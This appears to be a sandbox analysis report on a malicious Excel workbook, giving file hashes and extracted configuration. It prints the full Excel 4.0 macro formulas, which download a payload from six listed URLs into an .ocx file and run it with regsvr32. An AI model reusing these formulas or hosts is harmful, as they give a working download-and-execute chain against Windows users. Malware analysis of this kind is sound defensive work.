Static task
static1
Behavioral task
behavioral1
Sample
5096e66771b2d0a991afdf83cb73463a884faa81942f986aa1a38d342946a9d8.xlsx
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
5096e66771b2d0a991afdf83cb73463a884faa81942f986aa1a38d342946a9d8.xlsx
Resource
win10v2004-20240802-en
General
-
Target
5096e66771b2d0a991afdf83cb73463a884faa81942f986aa1a38d342946a9d8
-
Size
43KB
-
MD5
9e82cba997ed7f3544cd6243e564016e
-
SHA1
5453a4fea0ebb34c1c8bd66ee97aa5a030d00bed
-
SHA256
5096e66771b2d0a991afdf83cb73463a884faa81942f986aa1a38d342946a9d8
-
SHA512
ed8d6a61858d529b1aade2764b0c931392a4ea8616102bbdb86b137689cb7b01c28d69ecb7819c9a8f8a4ac31bb2b308a3aba08590c0c5eacffb9aedd3f3a463
-
SSDEEP
768:7CToywfPCfdc/buIgsqlkVw2WFc8SGnCu2JBgBkXrI34gB2JL0AWoP80h:WToHKsb6yVwpFB1CuEge7tgo0KDh
Malware Config
Extracted
http://narsanatanaokulu.com/wp-includes/WQHhwTuSM5flyMv9/
http://www.beholdpublications.com/home/GCKnZAKB3zz1qnN/
https://ramijabali.com/licenses/44KGV1/
https://winnieswondersaviary.com/wp-content/BNzK17qzh1WQm/
http://vipwatchpay.com/Isoetales/Mvlqx9YifBDaHH6e/
https://rjssjharkhand.com/wp-content/ZddKK1KEaCO6BYbS/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://narsanatanaokulu.com/wp-includes/WQHhwTuSM5flyMv9/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/GCKnZAKB3zz1qnN/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/44KGV1/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/BNzK17qzh1WQm/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipwatchpay.com/Isoetales/Mvlqx9YifBDaHH6e/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rjssjharkhand.com/wp-content/ZddKK1KEaCO6BYbS/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()
Signatures
Files
-
5096e66771b2d0a991afdf83cb73463a884faa81942f986aa1a38d342946a9d8.xlsx office2007